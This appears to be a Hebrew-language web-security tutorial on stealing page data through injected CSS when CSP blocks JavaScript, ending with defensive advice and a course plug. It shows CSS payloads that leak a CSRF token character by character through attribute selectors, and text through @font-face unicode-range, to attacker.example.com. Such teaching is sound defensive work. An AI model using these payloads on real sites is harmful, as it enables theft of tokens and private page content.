הזרקת CSS ואקספילטרציה - מוציאים מידע מדף בלי שורת JavaScript אחת¶
הרבה מפתחים מתייחסים ל-CSS כשפה תמימה - היא קובעת איך דברים נראים, לא מה הם עושים. הבעיה היא שההנחה הזו מפספסת את מה שקורה בפועל בכל דף שהזרקת CSS אפשרית בו. במאמר הזה נצלול לעומק לטכניקה שפחות מדוברת - אקספילטרציה של מידע דרך CSS בלבד, בדיוק במקרים שבהם CSP חוסם הרצת JavaScript לגמרי אבל עדיין מאפשר הזרקת סגנון. אם כבר מכירים את היסודות של מה זה Code Injection ב-CSS, כאן נעמיק בטכניקה שהופכת אותה למסוכנת באמת.
למה בכלל להתאמץ בלי JavaScript¶
כשאפליקציה מגנה על עצמה עם CSP קפדני שחוסם script-src כמעט לגמרי, תוקף שמצליח להזריק רק תגי <style> או תכונות style נמצא לכאורה במצב חסר אונים. אבל CSS מודרני מסוגל ליזום בקשות רשת - למשל דרך background-image שטוען תמונה מ-URL חיצוני - וזו בדיוק היכולת שהופכת אותו לכלי אקספילטרציה. ברגע שסגנון יכול לגרום לדפדפן לבקש משאב מכתובת שנקבעת על ידי התוקף, אפשר לקודד בתוך הכתובת הזו מידע שאסור שיזלוג.
אקספילטרציה תו-אחר-תו עם בוררי תכונות¶
הטכניקה הנפוצה ביותר משתמשת בבוררי תכונות של CSS, שמאפשרים לבחור אלמנט על סמך התוכן המדויק של תכונת HTML שלו. אם שדה קלט מכיל ערך רגיש שמוצג בדף כתכונה - למשל טוקן CSRF ששמור בתוך value של שדה נסתר - תוקף יכול להזריק כללים שבודקים תו אחר תו:
input[name="csrf"][value^="a"] {
background-image: url("https://attacker.example.com/leak?c=a");
}
input[name="csrf"][value^="b"] {
background-image: url("https://attacker.example.com/leak?c=b");
}
אם הערך מתחיל באות שמופיעה בבורר, הדפדפן טוען את התמונה, ובכך שולח בקשה לשרת של התוקף שחושפת את התו הראשון. חוזרים על זה לכל תו אפשרי ולכל מיקום, ולמעשה בונים באטומטית את הערך המלא בקצה של התוקף, בלי שום קוד JavaScript מעורב בתהליך. זה איטי יחסית, אבל לגמרי אוטומטי וישים בעולם אמיתי כשמייצרים כמות גדולה מספיק של כללים.
אקספילטרציה דרך גופנים - unicode-range¶
טכניקה נוספת, פחות מוכרת, מנצלת את היכולת של @font-face להגדיר unicode-range - טווח תווים שבו הגופן חל. אפשר להגדיר גופן מותאם אישית שנטען מהשרת של התוקף, ולהחיל אותו רק על טווח תווים ספציפי בתוך הדף:
@font-face {
font-family: "leak-a";
src: url("https://attacker.example.com/font?char=a");
unicode-range: U+0061;
}
אם התו "a" אכן מופיע בתוכן שהגופן חל עליו, הדפדפן טוען את הגופן המותאם כדי לרנדר אותו, וזה מייצר בקשת רשת שחושפת שהתו הזה קיים בטקסט. בשילוב עם כללים דומים לכל תו אפשרי, אפשר לשחזר תוכן טקסטואלי שלם מהדף, כולל תוכן שכלל לא מוצג כתכונת HTML אלא כטקסט רגיל בתוך אלמנט.
למה זו טכניקת עקיפת CSP הלכה למעשה¶
הסיבה שהטכניקה הזו כל כך מעניינת היא שהיא לא "עוקפת" CSP במובן הטכני - היא פשוט פועלת בתוך גבולות שה-CSP כלל לא נועד לחסום. מדיניות שמגבילה רק script-src ומתעלמת מ-style-src, img-src ו-connect-src משאירה ערוץ פתוח לגמרי לאקספילטרציה, גם אם היא מצליחה למנוע לחלוטין הרצת JavaScript זדוני. זו דוגמה מצוינת לכך שמדיניות אבטחה חייבת לכסות את כל הערוצים שיכולים ליזום תקשורת חוצת מקור, לא רק את הערוץ המובן מאליו.
איך מגנים על אפליקציה מפני זה¶
הגנה אפקטיבית דורשת התייחסות לכמה שכבות בו זמנית:
- הגבלת style-src - למנוע הזרקת CSS מלכתחילה על ידי שימוש בגיליונות סגנון חיצוניים בלבד עם nonce או hash, ולא לאפשר סגנון inline חופשי.
- הגבלת img-src ו-connect-src - גם אם סגנון זדוני כלשהו מצליח להיכנס, הגבלת רשימת המקורות שממנה מותר לטעון תמונות וגופנים חוסמת את יכולת הדליפה בפועל.
- הימנעות מהצגת ערכים רגישים כתכונות HTML - ערך כמו טוקן סודי שמופיע כתכונת
valueהוא מטרה נוחה במיוחד לבוררי תכונות. ככל שפחות מידע רגיש נחשף כתכונה שאפשר לבחור אותה ב-CSS, כך פחות משטח תקיפה קיים לטכניקה הזו.
הטכניקה הזו ממחישה בדיוק למה חשוב להבין את עולם ה-CSP והדפדפן ברמה עמוקה, לא רק ברמה של "יש לנו CSP אז אנחנו מוגנים". בדיוק את סוג ההבנה הזו אנחנו בונים בקורס פריצת אתרים מתקדמת, עם דגש על טכניקות שרוב המדריכים הבסיסיים מדלגים עליהן.
מי שרוצה להתנסות בטכניקות אקספילטרציה כאלה בסביבת מעבדה מוזמן לבוא לדיסקורד ולשאול, יש שם דיונים קבועים על טכניקות עקיפת CSP.
לסיכום¶
הזרקת CSS יכולה להיות ערוץ אקספילטרציה מלא, גם כשהרצת JavaScript חסומה לחלוטין. בוררי תכונות וגופנים מותאמים הופכים סגנון "תמים" ליכולת דליפת מידע תו אחר תו. הגנה אמיתית מחייבת CSP שמכסה גם style-src, img-src ו-connect-src, ולא רק את script-src המוכר.